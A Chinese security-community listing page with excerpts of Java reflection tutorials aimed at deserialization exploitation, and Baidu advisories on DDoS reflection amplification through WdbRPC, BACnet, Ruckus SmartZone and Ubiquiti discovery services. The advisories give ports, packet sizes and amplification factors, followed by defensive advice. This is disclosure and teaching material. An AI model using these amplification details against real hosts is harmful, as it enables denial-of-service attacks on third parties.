java安全-java反射 SecIN安全技术社区

java安全-java反射

前言 如果要想深入学习java安全,除了java必备的基础知识外,还有一些java高阶的知识需要了解,例如反射,类加载,RPC,动态代理等。这些概念是java漏洞利用的基础,例如shiro反序列化,fastjson反序列化等。 这篇文章我们来详细说说java反射。 反射的基本概念 java 作为动态语言最基本的一个特性就是反射,反射可以使得java在运行时动态的去获取要加载的类对象并执行其中的方法,当然也可以获取并修改其属性等。 一般情况下,我们使用某个类时必定知道它是什么类,是用来做什么的。于是我们直接对这个类进行实例化,之后使用这个类对象进行操作,例如: 现在有一个类名为com.test.Cat,其有一个方法为eat. ```java package com.test; public class Cat { public void eat(String food){ System.out.println("cat eat: "+ food); } } ``` 当需要调用eat方法时,需要实例化Cat对象。 ```java package com.test; public class main { public static void main(String args) { Cat cat = new Cat(); cat.eat("香肠"); } } ``` 那么现在有一个配置文件内容如下: ```txt className=com.test.Cat method=eat ``` 现在要求从配置文件中读取className的值和method的值去创建com.test.Cat对象,并执行其eat方法,那么该如何去实现呢? 可以肯定的是使用传统的方法是无法实现的,java反射就是用来解决此类问题的。 ```java package com.test; import java.io.FileInputStream; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Properties; public class reflect { public static void main(String args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException { Properties pro = new Properties(); FileInputStream fio = new FileInputStream("src\config.properties"); pro.load(fio); String className =...
阅读全文
【技术分享】重逢——Java安全之反射 安全开发

【技术分享】重逢——Java安全之反射

 Java反射可谓是Java安全中的基础中的基础,你可以在各个代码的角落中看到他的身影,既然在江湖上碰见这么多次,那么一定要找机会好好了解一下。对于Java反射的爱恨情仇给我一包烟再给我一瓶酒我可以讲上一天,别的不吹,关于反射我也讲不出花来,也就是总结、整理、思考目前互联网上一些大佬的知识,今天我们先把反射知识捋一捋,希望本文能更好的让你理解和记住反射操作,并在以后的安全研究中能够举一反三熟练运用,为之后rmi、反序列化等知识打下基础。 反射的概念0x1 反射介绍反射(Reflection) 是 Java 程序开发语言的特征之一,它允许运行中的 Java 程序对自身进行检查,或者说“自审”,并能直接操作程序的内部属性和方法。在程序运行时,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性。这种动态的获取信息以及动态调用对象的方法的功能称为 java 的反射机制。0x2 为什么存在反射其实从官方定义中就能找到其存在的价值,在运行时获得程序或程序集中每一个类型的成员和成员的信息,从而动态的创建、修改、调用、获取其属性,而不需要事先知道运行的对象是谁。划重点:在运行时而不是编译时在正向开发领域反射最广泛的用途就是开发各种通用框架,比如Spring 框架的 IOC 基于反射创建对象和设置依赖属性。Spring MVC 的请求调用对应方法,也是通过反射。JDBC 的 Class#forName(String className) 方法,也是使用反射。在安全领域反射最广泛的用途就是构造利用链,触发命令执行反序列化中的利用链构造动态获取或执行任意类中的属性或方法动态代理的底层原理是反射技术rmi反序列化也涉及到反射操作 反射深层次理解为了更好的理解反射,我们向反射深一层次的知识点进发,当然这里不是反射的底层实现原理(我也没写相关的技术点分析),只是帮助你更好的理解反射机制。我们首先要介绍一个概念Class0x1 Class概念Class是个名字比较特殊的类,这点确定无疑(很容易和class混在一起),我们在JDK中可以看到相关定义,在Java反射中,这个类起到了关键的作用,这是因为Class类中定义了很多保存类的信息。从定义上来看我们在Java中每一个类都会有一个Class类实例与之一一对应(这种关系属于一对一)。有很多小伙伴们经常把Class和class混为一谈,但实际上概念差距很大Class类是由class关键字修饰的一个特殊的类,因为class本身是个关键字,我们在定义类的时候都会用到。在这好好掰扯掰扯类、class以及Class的关系。类(class)是一个语法层次上的概念,可以理解为一个抽象概念,比如我们通常所说的String类,其实说的是那个抽象的字符串类型。实例是指根据抽象的class定义在运行时声明的一段内存区间,该内存区间可以按照class的定义进行合法的访问。我们这里的Class Instance就是一个实例。我之前画了一个类与Class对应关系图我这里搬过来讲一讲,下图是String类和Class对象的对应关系,可以看出每个类对应的Class Instance中保存着这个类的相关信息。String类不是实例,它是一个class,只是可以用一个Class的实例来描述。看到这个图class和Class的关系也就不言而喻了,这种一一对应关系,体现的非常完美。class代表语法概念,Class代表JDK中提供的Class数据结构。0x2 Class在反射中的作用Class主要用于反射,正是因为该类实例保存了对应类中的方法和属性信息,我们的反射调用才能正常进行(我感觉在学反射前先把这块给理清楚),一般反射时进行的操作是获取要反射类的Class对象,从而获取类型元数据(metadata),比如字段、属性、构造器、方法等,获取后并调用。通过上图可以清晰的看出类和对应Class对象的关系,我们在反射的时候其实主要运用了a2这个对象。在Class类中定义了很多和反射有关的方法和属性:public final class Class<T> implements java.io.Serializable, GenericDeclaration, Type, AnnotatedElement {public static Class<?> forName(String className){}public Field getField(String name){}public Method getMethod(String name, Class<?>... parameterTypes){}public Method getMethods() throws SecurityException {}public Method getDeclaredMethods() throws SecurityException {}public Constructor<T> getConstructor(Class<?>... parameterTypes){}public Field getDeclaredFields() throws SecurityException {}......}0x3 举例说明其重要性我们都知道class是在JVM第一次读取到他的类型时,将其加载进内存的,每加载一种class,JVM就为其创建一个Class类型的实例,并关联起来。注意:这里的Class类型是一个名叫Class的class,前面说过。如下所示public final class Class { private Class() {}}以String类为例,当JVM加载String类时,它首先读取String.class文件到内存,然后,为String类创建一个Class实例并关联起来:Class cls = new Class(String);这个Class实例是JVM内部创建的,如果我们查看JDK源码,可以发现Class类的构造方法是private,只有JVM能创建Class实例,我们自己的Java程序是无法创建Class实例的,并且JVM持有的每个Class实例都指向一个数据类型(class或interface),一个Class实例包含了该class的所有完整信息:由于JVM为每个加载的class创建了对应的Class实例,并在实例中保存了该class的所有信息,包括类名、包名、父类、实现的接口、所有方法、字段等,因此,如果获取了某个Class实例,我们就可以通过这个Class实例获取到该实例对应的class的所有信息。0x4 Class实例获取方式既然类对应的Class对象这么重要那么怎么去获取呢?总结了四种方式以及他们的注意事项,但是在这之前我首先介绍下java中的初始化(在部分获取类Class对象操作的时候会初始化类)。1. 类初始化类初始化时机:类第一次加载到内存时会触发类初始化,并且只进行一次(前提是被同一类加载器加载)类初始化行为:1、准备阶段虚拟机会给静态变量分配内存并初始化为零。2、初始化阶段执行类构造器(cinit),收集类初始化代码和static{}代码变成cinit函数,并执行。2. Class对象获取方式// 1.通过字符串获取Class对象,这个字符串必须带上完整路径名,进行类初始化Class studentClass = Class.forName("com.test.reflection.Student");// 2.通过类的class属性,不进行类初始化Class studentClass2 = Student.class;// 3.通过对象的getClass()函数Student studentObject = new Student();Class studentClass3 = studentObject.getClass();// 4.通过classloader获取,不进行类初始化ClassLoader classLoader = this.getClass().getClassLoader();Class clazz5 = classLoader.loadClass("com.test.reflection.Student");第一种方法是通过类的全路径字符串获取...
阅读全文
DRDoS预警:WdbRPC与BACnet协议可被反射攻击利用 安全漏洞

DRDoS预警:WdbRPC与BACnet协议可被反射攻击利用

0x00概述随着互联网的快速发展,DDoS攻击已经演变成全球性的网络安全威胁,从早期的SYNFlood攻击,到近年来兴起的各种反射放大攻击,DDoS攻击愈演愈烈,无论是受控主机还是攻击对象,都日益呈现出大规模化和多样化的态势。百度安全智云盾团队在长期与黑客的攻防对抗中,已经首次发现了多种新型反射放大攻击。黑客在利用传统反射攻击时,也在不断的研究挖掘各种新型反射放大攻击。凡事预则立,不预则废。智云盾团队在对抗攻击的同时,也在挖掘可能发生的新型DDoS反射放大攻击。在对大量的UDP协议进行深入研究分析后,我们挖掘出两类可以被利用发起反射放大攻击的协议,相关情况也分享同步与业界同行。0x01常见反射攻击从2020年智云盾观测到的反射型攻击的TOP5来看,SSDP、NTP、DNS、CLDAP、Memcache、SNMP占据前五的位置,近些年来,越来越多的新型反射攻击被黑客利用,进入现网的攻防对抗场景中,如WS-Discovery、DHDiscovery、Plex、Ubiquiti等协议。这些新型协议的反射放大攻击区别于上述常见的反射攻击,放大倍数从几倍到几万倍,这给传统的DDoS监测和防御提出新的挑战。笔者整理了部分常见UDP反射放大协议,传统放大倍数与科学计算的放大倍数对比,看看到底谁的放大威力更强。名称特征(端口)传统倍数科学倍数(监测的攻击包)发现时间DNS5328-5424.62013NTP123556.94602013SNMP1616.34.82013SSDP190030.826.52014.07PORTMAP1117-2816.92018.09.24CHARGEN19358.8330.51996TFTP696045.62016.03.21Memcached1121110000-50000149166.22018.01CLDAP38956-7068.42016.10WSDP370270-5007-142019.02图1 常见反射攻击这些常见的DDoS反射攻击通常会利用有缺陷的公网服务器实施反射放大攻击,反射源数量的多少决定了反射流量的大小。然而随着公共服务的维护方式越来越标准,安全性也越来越高,可被利用的公共服务器也越来越少。2018年初爆发的Memcached反射攻击事件后,由百度智云盾团队监测到的数据表明,反射源数量超过1000的攻击次数,近几年呈现出明显减少的趋势,很明显可以被利用的反射服务器越来越少,但是,从事黑产的DDoS攻击者从来没有停止对新型反射放大攻击新方式的寻找和尝试。百度智云盾团队在进行大量的UDP协议分析时,发现了两类协议可以被利用作为反射放大攻击,从互联网暴露的情况来看,这些协议服务数据量较大,黑客完全可以利用发动一起规模较大的反射攻击。下文详细介绍这两类协议可以被利用发起反射放大攻击的原理。0x02 WdbRPC协议1)协议介绍WdbRPC协议是应用于VxWorks系统上的一类系统服务,被广泛用于物联网嵌入式设备及工业控制领域,该服务主要用于支持用户进行远程调试,以UDP方式通信,使用固定UDP端口17185,用户可以通过该服务获取系统详情、配置信息和其他重要数据。2)全网资源为了调查WdbRPC协议在全球范围内的使用情况,我们及时与ZoomEye团队进行了技术沟通,ZoomEye是国内最优秀的网络空间搜索引擎之一,ZoomEye团队在收到反馈后及时针对全网进行扫描,很快获取到4302个IP使用了WdbRPC协议(截止统计时,扫描还在继续),这些IP在全球范围内均有分布,主要来自于美国、中国和韩国等国家。下图展示了WdbRCP在互联网上暴露的情况。图2 WdbRPC协议的全网数据3)反射原理我们在一台纯净的机器上安装VxWorks系统,并对WdbRPC服务进行调试分析,在协议的开发文档中我们查询到了协议的请求说明,根据文档的描述,我们构造一个请求发送到服务器,并进行抓包分析。下图展示了我们发送一个较小的数据包,服务端响应了一个较大的数据包,构成了放大倍数。图3 WdbRPC协议的请求与响应(测试)我们在模拟攻击的过程中,发送一个69+24=93字节的数据包,收到一个706+24=730字节的数据包,科学计算的放大倍数为730/93=7.85倍。WdbRPC协议可以发动反射放大攻击的主要原因在于,该协议在17185端口上没有提供客户端的身份认证机制,并且在一些局域网的应用场景中,服务使用者错误的将其绑定在互联网地址上,导致被黑客利用。通过利用互联网上开放的WdbRPC服务的端口,可以轻松的发动一起规模较大反射放大攻击。另外,由于该协议的数据传输没有加密机制,传输的数据均为重要敏感信息:系统详情、配置信息,黑客利用获取的系统信息可以进行有效的反射资源管理。0x03 BACnet协议1)协议介绍楼宇自控协议(BACnet)全称Building Automation Control NETworks,是在建筑中应用的一种为楼宇自控网络制定的数据通讯协议,通过软件系统管理智能建筑物内相互关联的中央空调系统、给排水系统、供配电系统、照明系统等,它使不同厂家的楼宇设备能够实现相互通信,定义了各种兼容系统实现开放性与互操作性的基本通信规范。楼宇自控协议(BACnet)在应用层使用UDP协议进行数据传输,BACnet-APDU(APDU代表应用层协议单元)定义的远程设备管理服务绑定在UDP47808端口上,接受BACnet客户端的证实请求消息(如查询网络内楼宇设备信息),随后响应设备的供应商ID、供应商名称、软件版本等信息。2)全网数据我们在zoomeye上搜索查询UDP47808与bacnet关键字,获取到5w多条数据,源IP主要来自于于美国、加拿大和法国等北美和欧洲国家,其中美国占比最多。这也符合协议当前的应用情况。协议的官方文档没有要求服务固定绑定在UDP47808端口上。因此可以判断,互联网上存在的开放应用会更多。下图展示了zoomeye上查询的全网数据情况。图4 BACnet协议的全网数据BACnet协议是楼宇自控领域内唯一的ISO标准,已经在北美和欧洲等国家得到了全面的推广和应用。随着智能建筑的不断增多,该协议将会在全球范围内得到更多的应用,互联网上开放的服务也会随之增多。3)反射原理我们在一台纯净的机器上部署BACnet服务,并对BACnet服务进行调试分析,在协议的官网文档中我们查询到了协议的请求说明,根据文档的描述,我们构造一个请求发送到服务器,并进行抓包分析。下图展示了我们发送一个较小的数据包,服务端响应了一个较大的数据包,构成了放大倍数。图5 BACnet协议的请求与响应数据包我们在模拟攻击的过程中,发送一个79+24=103字节的数据包,收到一个234+24=258字节的数据包,科学计算的放大倍数为258/103=2.5倍。查询协议规范可知,BACnet协议应用于局域网内,并且通过攻击模拟可知该服务的响应数倍于请求,因此攻击能够发生的原因在于协议实现者未按规范将服务绑定到互联网地址上,导致暴露在公网的47808端口有可能会被当作反射源使用。值得一提的是,研究中我们只使用了首部为0x0X的”已确认请求”进行反射分析,其余请求类型如:未确认请求,没有深入分析,感兴趣的可以自行研究。我们在分析协议规范时,没有发现有关安全性的表述,详情参考:http://www.bacnet.org/Tutorial/BACnetIP/index.html,随着该协议的广泛应用,我们可以确信,利用该协议的反射攻击会浮出水面。0x04总结防御技术的不断完善,攻击技术则不断进化。反射攻击近年来越来越流行,一方面由于反射攻击伪造源IP,难以溯源;另一方面,反射攻击通常利用反射倍数较大的服务发动攻击,达到四两拨千斤的效果。在这一背景下,DDoS黑产的从业者会更努力的挖掘新型协议的漏洞,我们可以猜测,这两种潜在可能的攻击方式一定会得以实施,让我们拭目以待。0x05防范建议我们本文介绍的两种潜在的攻击可能,仍然是利用UDP协议的无状态以及服务端返回包大于请求包的特点。建议参考以下方式提升防护能力。对互联网服务应避免被滥用,充当黑客攻击的帮凶禁用UDP服务,不能禁用时,应确保响应与请求不要有倍数关系启用的UDP服务应采取授权认证,对未授权请求不予响应对企业用户应做好防范,减少DDoS对自有网络和业务的影响如果没有UDP相关业务,可以在上层交换机或者本机防火墙过滤UDP包寻求运营商提供UDP黑洞的IP网段做对外网站服务选择接入DDoS云防安全服务对抗大规模的DDoS攻击智云盾团队介绍百度智云盾是百度安全专注在互联网基础设施网络安全攻防的团队,提供T级云防、定制端防和运营商联防等DDoS/CC防御解决方案。一直服务于搜索、贴吧、地图、云等百度业务,在保障百度全场景业务之余也进行防御能力外部输出,为互联网客户提供一体化的防御服务。 本文始发于微信公众号(百度安全实验室):DRDoS预警:WdbRPC与BACnet协议可被反射攻击利用
阅读全文
【创宇小课堂】Java反射 代码审计

【创宇小课堂】Java反射

Author:d4m1ts什么是反射反射就是Reflection,Java的反射是指程序在运行期可以拿到一个对象的所有信息。即Java反射机制是在运行状态时,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取的信息以及动态调用对象的方法的功能就称为java语言的反射机制。class(包括interface)的本质是数据类型(Type)而class是由JVM在执行过程中动态加载的。JVM在第一次读取到一种class类型时,将其加载进内存。每加载一种class,JVM就为其创建一个Class类型的实例,并关联起来。注意:这里的Class类型是一个名叫Class的class。public final class Class {    private Class() {}}以String类为例,当JVM加载String类时,它首先读取String.class文件到内存,然后,为String类创建一个Class实例并关联起来:Class cls = new Class(String);这个Class实例是JVM内部创建的,如果我们查看JDK源码,可以发现Class类的构造方法是private,只有JVM能创建Class实例,我们自己的Java程序是无法创建Class实例的。所以,JVM持有的每个Class实例都指向一个数据类型(class或interface)一般情况下,我们使用某个类时必定知道它是什么类,是用来做什么的。于是我们直接对这个类进行实例化,之后使用这个类对象进行操作。HelloWorld helloworld = new HelloWorld(); //直接初始化,"正射"helloworld.sayHello(4);上面这样子进行类对象的初始化,我们可以理解为"正"。而反射则是一开始并不知道我要初始化的类对象是什么,自然也无法使用new关键字来创建对象了。这时候,我们使用JDK提供的反射API进行反射调用:Class class = Class.forName("com.reflect.ReflectTest");Method method = class.getMethod("sayhello", string.class);Constructor constructor = class.getConstructor();Object object = constructor.newInstance();method.invoke(object, "Bob");上面两段代码的执行结果,其实是完全一样的。但是其思路完全不一样,第一段代码在未运行时就已经确定了要运行的类(ReflectTest),而第二段代码则是在运行时通过字符串值才得知要运行的类(com.reflect.ReflectTest)。所以说什么是反射?JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。要想解剖一个类,必须先要获取到该类的字节码文件对象。而解剖使用的就是Class类中的方法.所以先要获取到每一个字节码文件对应的Class类型的对象.以上的总结就是什么是反射反射就是把java类中的各种成分映射成一个个的Java对象例如:一个类有:成员变量、方法、构造方法、包等等信息,利用反射技术可以对一个类进行解剖,把个个组成部分映射成一个个对象。(其实:一个类中这些成员方法、构造方法、在加入类中都有一个类来描述)如图是类的正常加载过程:反射的原理在与class对象。熟悉一下加载的时候:Class对象的由来是将class文件读入内存,并为之创建一个Class对象。由于JVM为每个加载的class创建了对应的Class实例,并在实例中保存了该class的所有信息,包括类名、包名、父类、实现的接口、所有方法、字段等,因此,如果获取了某个Class实例,我们就可以通过这个Class实例获取到该实例对应的class的所有信息。这种通过Class实例获取class信息的方法称为反射(Reflection)。Java反射机制Java反射(Reflection)是Java非常重要的动态特性,通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。Java反射机制是Java语言的动态性的重要体现,也是Java的各种框架底层实现的灵魂。反射的优点:可扩展性 :应用程序可以利用全限定名创建可扩展对象的实例,来使用来自外部的用户自定义类。类浏览器和可视化开发环境 :一个类浏览器需要可以枚举类的成员。可视化开发环境(如 IDE)可以从利用反射中可用的类型信息中受益,以帮助程序员编写正确的代码。调试器和测试工具 :调试器需要能够检查一个类里的私有成员。测试工具可以利用反射来自动地调用类里定义的可被发现的 API 定义,以确保一组测试中有较高的代码覆盖率。反射的缺点:尽管反射非常强大,但也不能滥用。如果一个功能可以不用反射完成,那么最好就不用。在我们使用反射技术时,下面几条内容应该牢记于心。性能开销 :反射涉及了动态类型的解析,所以 JVM 无法对这些代码进行优化。因此,反射操作的效率要比那些非反射操作低得多。我们应该避免在经常被执行的代码或对性能要求很高的程序中使用反射。安全限制 :使用反射技术要求程序必须在一个没有安全限制的环境中运行。如果一个程序必须在有安全限制的环境中运行,如 Applet,那么这就是个问题了。内部暴露 :由于反射允许代码执行一些在正常情况下不被允许的操作(比如访问私有的属性和方法),所以使用反射可能会导致意料之外的副作用,这可能导致代码功能失调并破坏可移植性。反射代码破坏了抽象性,因此当平台发生改变的时候,代码的行为就有可能也随着变化。获取Class对象Java反射操作的是java.lang.Class对象,所以我们需要先想办法获取到Class对象,通常我们有如下几种方式获取一个类的Class对象:方法一直接通过一个class的静态变量class获取:Class cls = String.class;方法二如果我们有一个实例变量,可以通过该实例变量提供的getClass()方法获取:String s = "Hello";Class cls = s.getClass();方法三如果知道一个class的完整类名,可以通过静态方法Class.forName()获取:Class cls = Class.forName("java.lang.String");方法四利用classLoaderClass cls = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime")获取数组类型的Class对象需要注意,要使用Java类型的描述符,如下:Class<?> doubleArray = Class.forName("
阅读全文
一种利用SmartZone网络控制器的DDoS反射放大攻击 安全文章

一种利用SmartZone网络控制器的DDoS反射放大攻击

0x00概述7月19日,Ruckus公司发布公告,宣称修复了SmartZone系列产品的重大安全漏洞,并对百度安全智云盾团队发现并协助其修复漏洞表达感谢。图1 安全公告6月29日,百度安全智云盾团队首次定位到一种反射源名称为SmartZone的新型反射放大攻击。经过安全专家进一步分析,确认是Ruckus公司的SmartZone系列设备存在安全风险。通知厂商后,他们积极组织技术人员进行排查,在此期间我们也多次提供安全建议和验证方法。7月19日该公司正式对外发布安全公告。这是一起”无穷大”倍数的反射攻击,在他们修复后我们将反射原理进行分享并预警。0x01反射原理攻击者采用反射方式实施DDoS攻击时,不是直接攻击受害者IP,而是伪造了大量受害者IP的请求发给相应的开放服务,通常这类开放服务不对源进行校验而是立即完成响应,这样更大更多的响应数据包发送到受害者IP,从而实现了流量的反射,这类开放服务就是反射源。原理如下图所示: 图2 反射攻击原理示意图图2中攻击者P伪造了请求包BA并发送到PA,但BA的源IP是PV,所以PA响应的时候发送BV给到PV。反射攻击一方面隐藏了攻击IP,同时还有一个重要特征是放大,上述原理图中的BV往往是BA的好几倍,甚至是成千上万倍。正是有了这样的特性,黑客组织乐此不疲的使用这一攻击方式,并不断的研究新型反射攻击增强攻击效果。0x02攻击分析智云盾系统检测到攻击时,自动对攻击流量进行采样,安全专家对采样包及时进行了深层次的分析和演练。本次攻击事件共涉及反射源802个。1)攻击包分析通过分析智云盾的攻击采样包发现,反射流量的端口来自于UDP 9001,下图红色箭头指向的是反射源端口:图3 反射源端口分析采样包发现,攻击流量中含有大量的IP分片包,这些IP分片包均来自于UDP 9001端口的反射流量,由于反射包大小超过了数据传输链路的MTU值,IP协议就会进行分片,如下图所示:图4 攻击包存在大量分片反射数据包的payload存在很多明文信息以及网关配置名称VNet01,如下图所示:图5 反射数据包payload我们对反射源进行指纹识别后获取到设备通用名称为vSZ与SmartZone100,vSZ是Virtual SmartZone的缩写,SmartZone是Ruckus公司生产的一系列网络控制器的名称。图6 反射源名称结合payload中展示的网关配置名称VNet01,可以判断是一起利用SmartZone网络控制器的DDoS反射放大攻击。2)攻击模拟在Ruckus公司授权后,我们选取其中一部分反射源进行发包模拟攻击,我们使用nc命令向反射源发送攻击payload为空的UDP数据包,并针对反射源IP进行抓包,最后发现反射源的9001端口会响应大量消息。复现攻击如下图所示:图7 抓包结果通过模拟攻击确认,发送一个0字节的请求(IP包长42),会收到4个数据包,包括1个udp包(890)和3个分片包(1514)。3)放大倍数按照我们前期对反射倍数的研究结果,科学的统计放大倍数,应当包括数据包协议头和网络帧间隙。详细的方案可以参阅《MEMCACHED DRDoS攻击趋势》一文。协议头和网络帧间隙计算为:14(以太头)+20(IP头)+8(UDP头)+4(FCS头)+20(帧间隙)=66字节,请求包长小于60字节会被自动填充,所以请求包所占带宽为(60+20+24)=84字节。响应包包含分片,由于分片包头不包含UDP头,所以计算得到的响应包所占带宽为(1514+24)x3+890+24=5528字节。最终我们计算得到的放大倍数为5528/84=65.8倍,这个放大倍数已经超过了很多我们所熟知的反射攻击。如果按照传统放大倍数的计算方法,攻击payload为0的情况下,这将是”无穷大”倍数的反射攻击。0x03漏洞详情1)漏洞原因Ruckus公司修复后发布了安全公告(https://support.ruckuswireless.com/security_bulletins/312)图8 安全公告Ruckus宣称该攻击发生的原因是因为SmartZone控制器的eAut模块中存在一个漏洞,该漏洞允许未经身份验证的远程攻击者发送任意请求,对另一网络设备执行DDoS攻击。该漏洞是由于eAut模块的代码处理不当造成的,详情可查看公告链接。根据Statista最新数据,目前全球共约750亿台联网设备。数以百亿的设备接入网络,同时也带来了大规模的软件服务暴露到互联网上,攻击防护刻不容缓。2)如何防范?一方面我们会持续关注新型攻击,及时预警;另一方面我们也呼吁为了减少开放服务成为攻击者的帮凶,希望各厂商重视安全,做好相应服务的防护治理。参考以下建议进行预防:企业设计软件时,需要对端口连接对象进行身份认证和鉴权,对未授权请求不予响应,或减少响应禁用UDP;不能禁用时,设计的UDP服务应确保鉴权前,响应数据包不大于请求数据包长没有公网访问需求,不启用公网IP,如有需要,应添加防火墙规则敏感数据传输,要进行加密处理,避免明文传输智云盾团队介绍百度智云盾是百度安全专注在互联网基础设施网络安全攻防的团队,提供T级云防、定制端防和运营商联防等DDoS/CC防御解决方案。一直服务于搜索、贴吧、地图、云等百度业务,在保障百度全场景业务之余也进行防御能力外部输出,为互联网客户提供一体化的防御服务。百度安全应急响应中心百度安全应急响应中心,简称BSRC,是百度致力于维护互联网健康生态环境,保障百度产品和业务线的信息安全,促进安全专家的合作与交流,而建立的漏洞收集以及应急响应平台。地址:https://bsrc.baidu.com长按关注 本文始发于微信公众号(百度安全应急响应中心):一种利用SmartZone网络控制器的DDoS反射放大攻击
阅读全文
基于Ubiquiti设备发现协议的反射攻击 逆向工程

基于Ubiquiti设备发现协议的反射攻击

0x00概述 Ubiquiti(优倍快)网络公司生产的网络设备在全球有较广泛的部署。2019年2月某安全团队披露了基于Ubiquiti设备的AP发现服务实施的反射DDoS攻击,攻击发生在2018年7月,这是最早被爆出该公司网络设备可被利用作为DDoS的反射放大器的案例。攻击披露后,Ubiquiti网络公司即时发布了漏洞补丁,并提醒用户升级更新。但近几年来该公司的网络设备一直被黑客频繁利用发起DDoS反射放大攻击。百度安全智云盾团队在对抗DDoS攻击中也经常拦截到此类反射攻击流量。0x01 攻击态势1)攻击趋势智云盾团队持续关注Ubiquiti反射攻击态势,多次针对这类攻击进行过跟踪分析。在2020年监测到4301次Ubiquiti反射攻击,并在去年十月达到顶峰。虽然Ubiquiti公司发布过补丁修复,但是从智云盾监测到的攻击趋势来看,公网上仍然存在大量的未实施修复的设备。图1 Ubituiti反射攻击态势2)首次攻击2019年2月安全研究人员Troutman披露黑客自2018年7月开始利用Ubiquiti公司设备上的AP发现服务进行DDoS反射放大攻击活动,Troutman表示黑客向Ubiquiti设备上开放UDP 10001端口的AP发现服务发送56字节的小数据包,设备立即回复206字节的数据包。之后另一安全研究人员Jon Hart表示,这类服务的放大倍数可以提高到30-35倍。Ubiquiti网络公司官方在关注到这些攻击后确认了这一问题,并临时提供了两个解决方案:1、非必要,禁用UDP 10001上的AP发现服务;2、如果必须使用AP发现服务,开启仅限内部网络使用的ACL策略。之后官方第一时间发布新版本,用于增强该服务器的安全性。攻击首次披露后,Ubiquiti网络公司统计共有485,000个设备向公网开放了UDP 10001端口,攻击资源分布在全球各地。0x02 技术分析智云盾系统跟踪这类攻击时,自动对流量进行采样,安全专家及时介入对采样包进行深层次分析和演练。1)攻击分析通过对智云盾的攻击采样包发现,反射流量的来源端口是10001端口,下图红色箭头指向的是反射源端口图2 采样包内攻击来源端口数据包中的payload明显为某类设备名称和版本,通过搜索分析,我们确定了这是Ubiquiti公司的设备和版本信息,采样包中UDP携带的payload如下图所示:图3 采样包内UDP携带的payload 查询Ubiquiti公司官网可知,他们在UDP10001上使用发现服务协议。这个协议格式与SSDP设备发现服务不同,没有固定格式,为此我们将此类反射攻击命名为UbiquitiDP Reflection,中文简称为Ubiquiti反射攻击。 我们提取数据包中的设备名进行统计分析,分析发现有87%的设备名为Ubiquiti公司标准名称,并能在公司的官网检索到,但是有13%的数据包payload带有HACKED(被黑)字样,很明显这些设备名已经被黑客恶意修改。图4 设备名称我们对含有HACKED的数据进行统计分析发现,分析发现每个名称均以HACKED-ROUTER-HELP-SOS开头,剩余字段有WAS-MFWORM-INFECTED、HAD、VULN-EDB-39710、FTP这四类,其中WAS-MFWORM-INFECTED占比67%,MFWORM表明这个设备已经被MF蠕虫感染,我们查询MF蠕虫披露的资料很少。少部分设备包含FTP字样,我们主动探测这些IP的FTP服务发现均关闭,我们推测这些服务器最早可能被黑客利用作为FTP服务。图5 恶意修改主机名的设备2)Ubiquiti服务缺陷造成此次攻击的是Ubiquiti公司设备自带的AP发现服务,该服务使用UDP传输数据,绑定在设备10001端口,响应任何UDP包。该服务在设计之初便没有按照UDP协议的安全规范实现,一方面开放到公网的UDP服务应当避免请求与响应存在倍率,另一方面UDP服务本身应对客户端进行校验。黑客向设备发送一个构造的UDP最小包,该服务便会返回一个或多个UDP大包,请求与响应相差数倍。3)攻击模拟我们在攻击模拟的过程中发现,大多数反射源在收到单个请求时只回复一个响应包,但是有少数反射源在收到单个请求后,会响应海量的UDP大包,每个数据包长固定。我们分别对这两类反射源进行分析,结果如下:A单包反射安全专家对该事件深入分析,同时从智云盾威胁中心提取到的请求流量进行对比,并完成攻击场景模拟,模拟过程中抓包如下:图6 模拟攻击图6中模拟发送了载荷长为4字节的UDP小包向反射源传输无验证数据,反射源返回载荷长为512字节的数据包,返回的UDP大包payload包含了Ubiquiti公司的设备信息。B海量包反射我们在选取反射源发起请求时,发现有少数IP地址在发送任意内容的UDP请求后,会响应超量的UDP大包,最多的一个反射源响应了3510个UDP大包。我们向其中一个反射源发送一个空载荷的请求包,并抓包分析,下图展示了发包过程:图7 模拟攻击图8 抓包显示服务器共响应3510个UDP大包(去掉一个请求包),每个数据包长度固定为1370字节,下图展示了我们发送的空请求与服务器的响应。图9 返回超量UDP大包在测试过程中,我们分别发送空请求、小包和大包UDP请求到反射源,每次均收到海量的UDP大包。这些反射源对任何UDP请求均会响应大量的数据包,危害较大。我们在单包反射中发送一个请求载荷为4字节的数据包,收到一个载荷长512字节的响应包。在海量包反射中发送一个0字节的数据包,收到总共3510个载荷长为1328字节的海量数据包。在智云盾系统监测到具备响应超量UDP大包的IP共计127个。截止到目前,这些IP仍然可以响应海量UDP大包。0x03 放大倍数按照我们前期对反射放大倍数的研究,采用科学的统计放大倍数时,请求响应的包头甚至网络间隙都要考虑在内。详细的方案可以参阅《Memcached DRDoS攻击趋势》一文。科学的计算方式还应该考虑每包的网络间隙20字节,没有包括FCS字段的4个字节,另外数据包小于60字节会被自动填充到60字节。协议头和网络帧间隙计算为:14(以太头)+20(IP头)+8(UDP头)+4(FCS头)+20(帧间隙)=66字节。单包反射中计算得到的放大倍数为(512+66)/(60+20+4)=6.88倍。海量包反射计算得到的放大倍数为(1328+66)*3510 / (60+20+4)= 58249.29倍。如果按照传统方式(攻击载荷之比)计算海量包反射的放大倍数:1328*3510 / 0(空请求)= ∞,那么得到的结果为无穷大,可见这个计算方式存在理论缺陷。0x04 